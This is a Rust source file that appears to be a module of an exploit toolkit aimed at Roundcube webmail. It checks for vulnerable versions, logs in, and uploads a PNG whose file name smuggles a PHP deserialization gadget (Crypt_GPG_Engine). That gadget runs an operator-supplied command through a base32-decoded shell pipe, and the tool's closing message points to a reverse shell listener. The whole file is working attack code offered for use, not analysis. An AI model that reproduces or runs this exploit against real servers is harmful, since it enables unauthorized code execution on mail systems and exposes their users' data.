use anyhow::{anyhow, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::io::{self, Write};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
use rand::distr::Alphanumeric;
/// // Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
    const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
    base64::engine::general_purpose::STANDARD
        .decode(PNG_B64)
        .unwrap_or_default()
}

/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
    let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
    let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
    let len = gpgconf.len();
    format!(
        "|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
        len, gpgconf
    )
}

fn generate_from() -> &'static str {
    const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
    let idx = rand::rng().random_range(0..OPTIONS.len());
    OPTIONS[idx]
}

fn generate_id() -> String {
    let mut rand_bytes = [0u8; 8];
    rand::rng().fill(&mut rand_bytes);
    let timestamp = SystemTime::now()
        .duration_since(UNIX_EPOCH)
        .unwrap()
        .as_nanos()
        .to_string();
    format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
}

fn generate_uploadid() -> String {
    let millis = SystemTime::now()
        .duration_since(UNIX_EPOCH)
        .unwrap()
        .as_millis();
    format!("upload{}", millis)
}

async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
    let mut url = reqwest::Url::parse(base)?;
    url.query_pairs_mut().append_pair("_task", "login");

    let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
    if res.status() != 200 {
        return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
    }
    Ok(res.text().await?)
}

async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
    let body = fetch_login_page(client, base).await?;
    let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
    if let Some(cap) = re.captures(&body) {
        Ok(cap[1].to_string())
    } else {
        Err(anyhow!("CSRF token not found"))
    }
}

async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
    let body = fetch_login_page(client, base).await?;
    let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
    if let Some(cap) = re.captures(&body) {
        Ok(cap[1].parse().ok())
    } else {
        Ok(None)
    }
}

async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
    let token = fetch_csrf_token(client, base).await?;
    let mut url = reqwest::Url::parse(base)?;
    url.query_pairs_mut().append_pair("_task", "login");

    let mut params = vec![
        ("_token", token),
        ("_task", "login".to_string()),
        ("_action", "login".to_string()),
        ("_url", "_task=login".to_string()),
        ("_user", username.to_string()),
        ("_pass", password.to_string()),
    ];
    if !host.is_empty() {
        params.push(("_host", host.to_string()));
    }

    let res = client
        .post(url)
        .form(&params)
        .send()
        .await
        .map_err(|e| anyhow!("Login request failed: {e}"))?;

    if res.status() != 302 {
        return Err(anyhow!("Login failed: HTTP {}", res.status()));
    }
    Ok(())
}

async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
    let png = transparent_png();
    let boundary: String = rand::rng()
        .sample_iter(&Alphanumeric)
        .take(8)
        .map(char::from)
        .collect();

    let mut body = Vec::new();
    body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
    body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
    body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
    body.extend_from_slice(&png);
    body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());

    let mut url = reqwest::Url::parse(base)?;
    url.set_query(None);
    url.query_pairs_mut()
        .append_pair("_task", "settings")
        .append_pair("_remote", "1")
        .append_pair("_from", &format!("edit-!{}", generate_from()))
        .append_pair("_id", &generate_id())
        .append_pair("_uploadid", &generate_uploadid())
        .append_pair("_action", "upload");

    client
        .post(url)
        .header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
        .body(body)
        .send()
        .await
        .map_err(|e| anyhow!("Upload request failed: {e}"))?;

    println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
    Ok(())
}

/// // Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
    let mut base_url = target.trim().to_string();
    if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
        base_url = format!("http://{}", base_url);
    }
    base_url = base_url.trim_end_matches('/').to_string();

    // // HTTP client with cookies and no redirects
    let jar = Jar::default();
    let client = Client::builder()
        .cookie_provider(Arc::new(jar))
        .redirect(Policy::none())
        .danger_accept_invalid_certs(true)
        .timeout(std::time::Duration::from_secs(10))
        .build()?;

    if let Some(ver) = check_version(&client, &base_url).await? {
        println!("[*] Detected Roundcube version: {}", ver);
        if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
            println!("[!] Version appears vulnerable!");
        } else {
            println!("[-] Version not in known vulnerable range.");
        }
    } else {
        println!("[?] Could not determine version.");
    }

    let mut username = String::new();
    let mut password = String::new();
    let mut host = String::new();
    let mut command = String::new();

    print!("Username: ");
    io::stdout().flush()?;
    io::stdin().read_line(&mut username)?;

    print!("Password: ");
    io::stdout().flush()?;
    io::stdin().read_line(&mut password)?;

    print!("Host parameter (optional): ");
    io::stdout().flush()?;
    io::stdin().read_line(&mut host)?;

    print!("Command to execute: ");
    io::stdout().flush()?;
    io::stdin().read_line(&mut command)?;

    let username = username.trim();
    let password = password.trim();
    let host = host.trim();
    let command = command.trim();

    if username.is_empty() || password.is_empty() || command.is_empty() {
        return Err(anyhow!("Username, password and command must be provided"));
    }

    login(&client, &base_url, username, password, host).await?;
    let serialized = build_serialized_payload(command);
    upload_payload(&client, &base_url, &serialized).await
}
